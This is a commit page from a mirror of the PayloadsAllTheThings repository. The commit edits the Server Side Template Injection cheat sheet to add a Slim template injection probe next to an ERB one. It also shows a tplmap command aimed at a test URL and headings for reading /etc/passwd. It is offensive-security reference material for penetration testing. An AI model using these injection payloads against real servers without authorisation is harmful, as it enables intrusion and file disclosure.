ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-01-21 02:38:50 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Ruby: add slim

Browse Source
This commit is contained in:
Alexandre ZANNI 2019-11-16 17:29:55 +01:00 committed by GitHub
parent 00684a10cd
commit 6a398ca5c3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 11 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
Server Side Template Injection/README.md
View File

@ -7,7 +7,7 @@
* [Tools](#tools) * [Tools](#tools)
* [Methodology](#methodology) * [Methodology](#methodology)
* [Ruby](#ruby) * [Ruby](#ruby)
* [Basic injection](#basic-injection) * [Basic injections](#basic-injections)
* [Retrieve /etc/passwd](#retrieve--etc-passwd) * [Retrieve /etc/passwd](#retrieve--etc-passwd)
* [List files and directories](#list-files-and-directories) * [List files and directories](#list-files-and-directories)
* [Java](#java) * [Java](#java)
@ -59,12 +59,20 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
## Ruby ## Ruby
### Basic injection ### Basic injections
ERB:
```ruby ```ruby
<%= 7 * 7 %> <%= 7 * 7 %>
``` ```
Slim:
```ruby
#{ 7 * 7 }
```
### Retrieve /etc/passwd ### Retrieve /etc/passwd
```ruby ```ruby
@ -385,4 +393,4 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
* [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/) * [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/)
* [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) * [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf) * [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf)
* [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/) * [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)